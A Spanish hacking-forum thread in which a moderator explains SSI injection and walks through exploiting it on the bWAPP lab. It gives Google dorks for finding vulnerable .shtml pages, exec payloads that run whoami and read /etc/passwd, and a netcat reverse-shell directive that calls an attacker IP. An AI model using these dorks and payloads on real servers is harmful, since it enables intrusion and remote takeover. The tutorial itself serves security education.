Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explotando SSI Injection desde 0

  • 6 Respuestas
  • 4344 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado HATI

  • *
  • Moderator
  • Mensajes: 439
  • Actividad:
    1.67%
  • Reputación 13
    • Ver Perfil
« en: Noviembre 25, 2017, 03:40:56 pm »


Introducción
-------------------------------------------------------

Estos días he estado testeando una aplicación web de un cliente y me he encontrado con una vulnerabilidad que desconocía (seguro que para muchos será conocida). Se trata de "Server-Side Includes (SSI) Injection", y para saber bien de que se trata, primero hay que conocer que es una directiva SSI.

Cita de: Traducción - OWASP SSI
Las SSI son directivas presentes en las aplicaciones Web utilizadas para alimentar una página HTML con contenido dinámico. Son similares a los CGIs, excepto que los SSIs se utilizan para ejecutar algunas acciones antes de que se cargue la página actual o mientras se visualiza la página. Para ello, el servidor web analiza SSI antes de suministrar la página al usuario.

Las implementaciones comunes de SSI proporcionan comandos para incluir archivos externos, para establecer e imprimir variables de entorno CGI del servidor web, y para ejecutar scripts CGI externos o comandos de sistema.

Vamos a profundizar un poco y ver que se puede hacer con una directiva SSI, para comprender porqué es muy peligroso realizar una mala configuración de estas:


  • La sintáxis es la siguiente:
    Código: ASP
    1. <!--#function attribute=value attribute=value ... -->


  • Se pueden usar variables de entorno, por ejemplo, para obtener la hora:
    Código: ASP
    1. <!--#echo var="DATE_LOCAL" -->


  • También se pueden incluir ficheros:
    Código: ASP
    1. <!--#include virtual="/footer.html" -->


  • O incluso, y peligroso, ejecutar comandos:
    Código: ASP
    1. <pre>
    2. <!--#exec cmd="dir" -->
    3. </pre>


  • Es posible declarar variables y usar expresiones condicionales:
    Código: ASP
    1. <!--#set var="modified" value="$LAST_MODIFIED" -->
    2.  
    3.  
    4. Good <!--#if expr="%{TIME_HOUR} <12" -->
    5. morning!
    6. <!--#else -->
    7. afternoon!
    8. <!--#endif -->



    Los servidores más conocidos que soportan este tipo de directivas son Apache, Nginx, ISS, Lighthttpd y LiteSpeed, y generalmente se encuentran en archivos con extensión ".shtml", ".stm" o ".shtm", aunque no siempre es así.

    Por lo tanto, la vulnerabilidad es básicamente una inyección de código que explota directivas SSI, y que, dependiendo de la configuración del servidor, puede conllevar, entre otros casos, a la ejecución de código arbitrario en el server, inclusión de archivos, ejecución de código javascript...

    Fuetntes y más información:

    - https://es.wikipedia.org/wiki/Server_Side_Includes
    - https://httpd.apache.org/docs/current/howto/ssi.html
    - https://nginx.org/en/docs/http/ngx_http_ssi_module.html
    - https://redmine.lighttpd.net/projects/1/wiki/docs_modssi


    Una vez explicado esto, podemos ir a la acción  8)


    PoC
    ---------------------------------

    Para buscar aplicaciones vulnerables, podemos usar dorks, os dejo algunos de ejemplo, aunque se pueden crear más elaborados:

      - inurl:bin/Cklb/
      - inurl:login.shtml
      - inurl:login.shtm
      - inurl:login.stm
      - inurl:search.shtml
      - inurl:search.shtm
      - inurl:search.stm
      - inurl:forgot.shtml
      - inurl:forgot.shtm
      - inurl:forgot.stm
      - inurl:register.shtml
      - inurl:register.shtm
      - inurl:register.stm
      - inurl:login.shtml?page=

    Por suerte, el entorno de pruebas bWAPP nos permite testear este tipo de ataques sin hacer daño a nadie.  ;D

    Para montar el lab, solo es necesario subir el contenido de bWAPP a un servidor con PHP y base de datos, podeís usar xampp o similar para hacer esto. Os dejo una guía por si alguien quiere detalles de la instalación:


    Una vez tengamos todo el lab montado, hay que configurar un proxy para interceptar las peticiones, yo usaré BurpSuite. Seleccionamos la opción correspondiente a SSI Injection y ya tenemos todo listo para comenzar.



    En el supuesto de un escenario real, lo primero que debemos hacer para testear la vulnerabilidad sería validar los parámetros de entrada. Haciendo una petición con los caracteres que debe filtrar una directiva SSI lo comprobamos.

    Caracteres: < ! # = / . " - > and [a-zA-Z0-9]

    Petición

    Respuesta


    Se puede ver claramente que noha filtrado nada, ya que nos devuelve los valores introducidos.

    A continuación, probemos con una variable de entorno para ver el resultado:

    Variable de entorno: <!--#echo var="DATE_LOCAL" -->

    Petición

    Respuesta

    La variable introducida contiene el valor de la fecha del sistema del servidor, lo que significa que podemos interactuar con él. Vamos a comprobar si tenemos acceso a datos sensibles cómo pueden ser los directorios /etc/passwd o /etc/shadow.

    Directivas enviadas:

    • <!--#exec cmd="whoami"-->
    • <!--#exec cmd="cat /etc/passwd"-->

    Respuesta

    Por último, veamos cómo obtener una shell para tener total control del servidor. Para ello, tenemos que abrir una conexión con netcat, para luego enviar una directiva que indique al server la conexión.


    Comando netcat:

    [/list]
    Código: Bash
    1. nc -nlvp -p 1337

    Directiva: <!--#exec cmd="nc 192.168.xxx.xxx 1337 -e /bin/bash"-->

    Shell:


    Espero que os haya gustado. Un saludo, HATI
    « Última modificación: Noviembre 26, 2017, 04:43:13 am por HATI »


    Jugar o perder

    Desconectado lucky1234

    • *
    • Underc0der
    • Mensajes: 22
    • Actividad:
      0%
    • Reputación 0
      • Ver Perfil
    « Respuesta #1 en: Noviembre 25, 2017, 06:16:58 pm »
    Fantastico, no conocia esa vulnerabilidad, lo que no entiendo es porque tapas en la peticion del burpsuite la parte del Host, si lo estas haciendo en Local y sale la Ip de la maquina virtual en el parametro "Referer"

    Desconectado HATI

    • *
    • Moderator
    • Mensajes: 439
    • Actividad:
      1.67%
    • Reputación 13
      • Ver Perfil
    « Respuesta #2 en: Noviembre 25, 2017, 07:22:56 pm »
    No estaba en mi lan.


    Jugar o perder

    Desconectado lucky1234

    • *
    • Underc0der
    • Mensajes: 22
    • Actividad:
      0%
    • Reputación 0
      • Ver Perfil
    « Respuesta #3 en: Noviembre 25, 2017, 09:34:28 pm »
    No estaba en mi lan.

    ¿Como que no esta en tu LAN? Si el ataque lo estas haciendo en la maquina bwapp (tiene buena pinta la verdad)

    =P
    « Última modificación: Noviembre 26, 2017, 04:43:53 am por HATI »

    Desconectado HATI

    • *
    • Moderator
    • Mensajes: 439
    • Actividad:
      1.67%
    • Reputación 13
      • Ver Perfil
    « Respuesta #4 en: Noviembre 26, 2017, 04:27:28 am »
    Se me escapó esa  ;D
    No estaba en mi lan, solo digo eso jaja


    Jugar o perder

    Desconectado lucky1234

    • *
    • Underc0der
    • Mensajes: 22
    • Actividad:
      0%
    • Reputación 0
      • Ver Perfil
    « Respuesta #5 en: Noviembre 26, 2017, 06:49:53 am »
    Se me escapó esa  ;D
    No estaba en mi lan, solo digo eso jaja

    Vaya Vaya que me quita la foto y todo :(

    No se porque la verdad si todas las fotos que tienes puestas del Burpsuite son del BWAPP, es que no entiendo porque lo tapas tio jajaja osea quizas con tu cliente se lo hayas hecho pero lo que estas posteando son pruebas de la plataforma bwapp men :S :S

    Desconectado HATI

    • *
    • Moderator
    • Mensajes: 439
    • Actividad:
      1.67%
    • Reputación 13
      • Ver Perfil
    « Respuesta #6 en: Noviembre 26, 2017, 07:07:53 am »
    No es la máquina bWAPP, es solo la plataforma web. Ya te conteste por mp.


    Jugar o perder

     

    ¿Te gustó el post? COMPARTILO!



    Subiendo Shell desde el Panel de Administracion con Upload de Imagenes

    Iniciado por ZanGetsu

    Respuestas: 13
    Vistas: 9193
    Último mensaje Octubre 14, 2013, 10:42:26 pm
    por Devilboy
    Accediendo a Windows XP desde BackTrack 5 utilizando Metasploit

    Iniciado por Stiuvert

    Respuestas: 1
    Vistas: 3618
    Último mensaje Abril 04, 2012, 09:08:53 am
    por REC
    [Rubber Ducky] DigiDucky desde 0 hasta la intrusion.

    Iniciado por 79137913

    Respuestas: 46
    Vistas: 23760
    Último mensaje Octubre 27, 2017, 04:47:07 pm
    por Xonr
    Como Escanear Archivos Maliciosos desde el Terminal

    Iniciado por qwartz

    Respuestas: 8
    Vistas: 5512
    Último mensaje Abril 05, 2018, 12:25:24 pm
    por 79137913
    Averigua qué Torrents se han descargado desde una IP

    Iniciado por Rootkit_Pentester

    Respuestas: 0
    Vistas: 2316
    Último mensaje Mayo 04, 2017, 07:16:10 pm
    por Rootkit_Pentester